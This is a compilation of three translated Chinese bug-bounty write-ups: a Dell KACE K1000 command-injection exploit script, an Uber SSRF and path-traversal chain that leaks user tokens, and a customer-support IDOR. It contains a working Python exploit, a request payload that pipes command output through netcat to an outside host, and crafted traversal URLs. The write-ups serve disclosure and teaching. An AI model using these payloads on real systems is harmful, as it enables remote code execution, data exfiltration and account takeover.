# Note:          The software is maintained by Quest now, but the vulnerability was fixed while Quest was part of Dell.           

#

# Usage: python3 exploit.py https://localhost 'sleep 10'

import requests

import sys

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

target_url = sys.argv[1]

payload = sys.argv[2]

r = requests.post(target_url + '/service/krashrpt.php', data={

    'kuid' : '`' + payload + '`'

    }, verify=False)

print('Response: %s %s\nKACE Version: %s\nResponse time: %ss' % (r.status_code, r.reason, r.headers['X-DellKACE-Version'], r.elapsed.total_seconds()))

exploit中提交的POST请求如下:

POST /service/krashrpt.php HTTP/1.1

Host: redacted.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: kboxid=r8cnb8r3otq27vd14j7e0ahj24

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 37

kuid=`id | nc www.rcesecurity.com 53`

也就是,我从本机系统中提交了上述exploit生成的POST请求到部署有Dell Kace K1000 v6版本应用的目标系统中,之后,成功远程执行了一条linux的id命令,如下:

太棒了,成功了!漏洞实质影响是可以用它来执行任意代码,实现RCE,由于测试厂商Dropbox使用了Dell Kace K1000 v6.3作为客户服务端管理,所以,可以说Dropbox的所有客户服务端管理系统都就此沦陷了。

漏洞修复

H1-3120比赛现场上报漏洞后,我凭借该漏洞获得了MVH荣誉和一笔不菲赏金。此后,我联系 Quest 咨询漏洞修复情况,但 Quest 告知我漏洞转给了Dell方面进行了修复。此后,Quest告知我漏洞已经在Dell Kace K1000 v 6.4(6.4.120822)版本中得到了修复。但是,我却没找到任何公开的漏洞披露和修复公告,也就是说,Dell是偷偷地修复了该漏洞。

总结

当你发现目标系统运行有某个应用后,可以考虑针对该应用搭建一个本地测试环境进行进一步的深入分析。对我来说,这种方法还是比较有效的。最后,还是要感谢Dropbox奖励的好大一笔赏金!

*参考来源:rcesecurity,clouds编译,转载请注明来自FreeBuf.COM

Uber服务端响应中的API调用缺陷导致的账户劫持今天分享的writeup是香港白帽Ron Chan (@ngalongc)发现的一个关于Uber网站的漏洞,他通过分析Uber的微服务架构和其中的API调用机制,利用其中的服务端响应缺陷,能以SSRF和目录遍历(PAth Traversal)方式获取到服务端为用户分配的token信息,从而实现对用户的账户劫持。虽然整个漏洞利用构造链亮点不多,但“Old but GOLD”,姜还是老的辣,漏洞还是老的好。

Uber微服务架构

微服务英文名称Microservice,Microservice架构模式就是将整个Web应用组织为一系列小的Web服务。这些小的Web服务可以独立地编译及部署,并通过各自暴露的API接口相互通讯。它们彼此相互协作,作为一个整体为用户提供功能,也可以独立地进行修改和扩容。

Uber的Web应用服务体系是基于很多微服务架构部署的,由于微服务中会涉及到大量的REST模式,因此,在与各种Uber应用的交互过程中,Uber服务端难免会调用到一些REST API接口。就比如说,你要查看某位司机的状态信息,Uber后端会涉及到类似如下的REST API接口调用:

https://localhost:1234/partner/PARTNER_UUID/trips?from=2018-01-01&to=2019-01-01

从请求响应中发现端倪

设计理论上来说,显然,这种调用都是在Web应用后端(Backend)来执行实现的,因为在调用过程中,其内部的微服务架构没有针对IDOR攻击的安全检查权限。所以,矛盾点来了,如果这类API调用都是以预定的path/variables/host方式进行的,而且,这些调用是用户无法控制的,那么,Web应用后端(Backend)设置的身份验证措施又有何用呢?

用户确实不能控制这类API调用吗?我觉得这里要打个问号。2018年初,我在Uber网站partners.uber.com下发现了一个有意思的路径(Endpoint),它用来查询读取Uber司机的服务状态,其前端请求链接如下:

https://partners.uber.com/p3/money/statements/view/current

该查询链接涉及的请求看不出什么问题,但服务端对其的响应消息中却存在一些有意思的参数,如下:

{
  "request": {
    "uri": {
      "protocol": "http:",
      "slashes": true,
      "auth": null,
      "host": "127.0.0.1:123",
      "port": "123",
      "hostname": "127.0.0.1",
      "hash": null,
      "search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
      "query": "earnings_structure_type=&locale=en&user_id=xxxxx",
      "pathname": "/v1/partners/xxxxx/statements/current",
      "path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
      "href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
    },
   "token":"ACCESS_TOKEN_OF_USER",
....

从上述响应消息可看出,涉及该查询链接的后端API GET请求调用如下所示:

http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx

这是一个典型的后端REST API调用。

仔细观察上述响应消息,可见其中的API调用对current的请求来自于原始前端请求链接:https://partners.uber.com/p3/money/statements/view/current,而且还会把current添加到 “pathname”参数的结尾,形成 “/v1/partners/xxxxx/statements/current” 。另外,调用中还包含其它查询相关参数,如涉及收入结构类型的earnings_structure_type,以及查询区域locale=en等。

上述响应消息的有意思之处在于,第一,其中包含了应用用户的访问token键值对 – “token”:”ACCESS_TOKEN_OF_USER”,这里还曾出现过一个Uber第三方应用的token撤销漏洞;第二,在查询请求request中缺乏验证调用者身份的 X-Auth-Token 头,但是,在服务端响应消息中竟然还返回了用户的访问token!

构造漏洞利用

这样来看,在请求中,如果我们能以某种方式,通过把我当前账户相关的用户ID数值(user_id或my_user_uuid) 更改为其他用户对应的用户ID数值(victim_id或victim_uuid),就可能实现对请求调用的操纵。之后,服务端通过这个其他用户的用户ID数值,会响应回来与其对应的账户token,那么,有了这个token,我们就能实现对该用户的账号劫持了。

基于以上思路,需要找到一个具备以下条件的前端请求路径(Endpoint):

能从其GET请求中传递任意相关参数;

能从其GET请求中传递经过编码转义的字符,防止一些不必要的字符解析和参数传递错误,如 %23 或 # 会截断URL中的参数截断;

服务端对GET请求能完整响应并可读。

漏洞实现

最终,经过查找分析,我发现了满足以上测试条件的一个前端请求路径(Endpoint):

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

Uber服务端对这个请求路径的响应包含了如下的API GET请求调用:

"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"

我觉得其中的uuid – 4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa,是用来在API GET请求调用中传递给path和query参数的,所以,我对原始的前端请求路径(Endpoint)做了如下修改:

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

 “/” 经url编码后为%2f,哪想到,上述查询链接的请求发起后,服务端响应的消息竟然和修改之前是一样的!那么,也就间接说明可用 “../”来对目录路径进行转义编码,还能用它来进行目录遍历。接下来,我们可以用 .. / 这种目录遍历方式,构造直达服务端根目录的前端请求链接,然后,到达根目录后,可以构造请求,获得服务端包含用户token和API调用的响应,另外,还可以用 # 来截断一些不必要的请求字段。其实,这就是一种间接的服务端请求伪造(SSRF)结合目录遍历(PAth Traversal)的漏洞利用。

预想一下,我们希望在服务端响应中能返回的API GET请求调用如下:

http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid

这样,我们可以对它进行控制修改的样式就为:

http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id

因此,基于要在服务端响应中获得以上预想的API GET请求调用,我构造了如下的前端请求链接:

https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23

最终,我们执行以上前端请求链接后,在服务端响应中,获得了预想的如下API GET请求调用:

http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#……

因为服务端响应回来的消息包含了当前请求用户的token,所以,我们只要在上述构造的前端请求链接中,修改VICTIM_UUID为其他用户的的UUID,就能在服务端响应中获得该用户的token信息,从而间接实现了对该账户的账号劫持了。

以上即为Ron Chan对于这个漏洞的分享,整个过程就 是SSRF + Path Tranversal = Account Takeover。基于Uber漏洞赏金政策和漏洞的严重性来看,该漏洞的奖励赏金应该不会低于$4,000美金。

*参考来源:Ron Chan,clouds编译,转载请注明来自FreeBuf.COM

2019-04-17_165229.jpg大家好,今天分享的writeup是一个关于客户支持系统(Customer Support)的IDOR漏洞(不安全的直接对象引用),该漏洞可以导致目标系统的访问控制功能失效,实现客户支持平台内的任意消息读取和发送,还能下载任意用户的相关文件。

最终,该漏洞被厂商评定为严重级别(Critical),给予了$5000美金的奖励,我们一起来看看。

漏洞发现端倪

在目标系统的客户支持聊天窗口中,用户发送消息后,聊天窗口后台会产生如下请求:

01.png如上图所示,用户在聊天窗口中发送了包含有字段——“testing by john wick2!”的消息,该字段赋值给了“text”参数。另外,还可以看到一个“user_id”、“email” 、user_hash、“anonymous_id” 和blocks。

请求发送出去之后,目标系统服务端会及时做出以下响应:

02.png可以看到,响应中也包含有用户的发送消息,以及另外一个由服务端分配的参数“id”。

有了这些测试样例,我们自然会想到——不安全的直接对象引用漏洞(Insecure Direct Object Reference Vulnerability,IDOR),那就动手测试吧!

测试IDOR漏洞

测试1——替换请求中的user_id

非常直接的了,我们在请求消息中的“user_id”参数,把它替换成其他用户对应的数值,会是什么情况呢?一换,服务端解析错误:

03.png测试2——删除请求中与用户对应的user_hash 参数串值

这里,我们不动“user_id”参数,只是简单地把与用户对应的“user_hash”参数值删除,在聊天窗口中发送消息之后,得到了以下服务端响应:

04.png其中提示:基于用户身份验证机制,必须对用户进行哈希值验证。也就是说,哈希验证是强制的,且与user_id值是映射关系。那我们再看看其它参数。

测试3——删除请求中的user_id和user_hash参数值

把请求中的user_id和user_hash参数值同时删除后,在聊天窗口中发送消息之后,服务端响应:User hash is invalid,与上一个测试响应相同。

测试4——删除请求中的user_id 、user_hash和anonymous_id参数值

现在,只剩下“email”和“anonymous_id”参数了,那就在上一测试步骤的基础上,我们再把anonymous_id参数值也删除看看。在聊天窗口中发送消息后(hello this jaya222),这一删,惊喜就来了:

05.pngIDOR,这绝对是一个IDOR!从这里可以看出,目标系统的Web后端出现了配置错误,未对“email”参数做出有效的过滤检查措施,也就是说,服务端只需要“email”参数值就能验证用户身份,并做出有效响应!

PoC测试

如下,在聊天窗口消息发送的对应请求中,我们把其中的user_id 、user_hash和anonymous_id参数值都删除了,如下:

06.png聊天窗口消息发送之后,在缺失这么多与用户相关的重要参数请求中,我们竟然能收到目标系统客户支持平台的有效响应,如下:

07.png漏洞隐患

基于此,如果我把其中的“email”参数值更改为其他用户对应的注册邮箱地址,就能读取该用户所有的发送消息,也能以该用户身份进行消息发送和文件上传,而且还能下载与该用户对应的文件资料。

在上述PoC那步,我只要把POST请求中的URL缩短为/messenger/web/conversations,只发送带有其他用户email地址的参数,就能在服务器响应中轻松获取Web后端为该用户分配的用户id。之后,我就可以把该id号添加到POST请求URL末尾,形成/messenger/web/conversations/[conversation-id],实现对该用户的完全会话内容获取。

测试总结

在测试1阶段中,修改user_id不成功后,可能我们大多数人都会认为目标系统不存在IDOR漏洞,然后选择放弃测试。但是,IDOR漏洞不仅限于参数数值更改,它还包括参数数值删除,以及其他与个人信息相关的字段替换等。就像在该例中,email参数值导致了IDOR漏洞,只要把其更改为与其他用户对应的注册邮箱,就能轻松获取到该用户的对话消息内容和相关个人文件。所以,IDOR漏洞不只是参数数值的替换或增加,它还可以有其它形式的测试实现,我们在具体测试过程中要多动手多思考。

*参考来源:medium,clouds编译,转载请注明来自FreeBuf.COM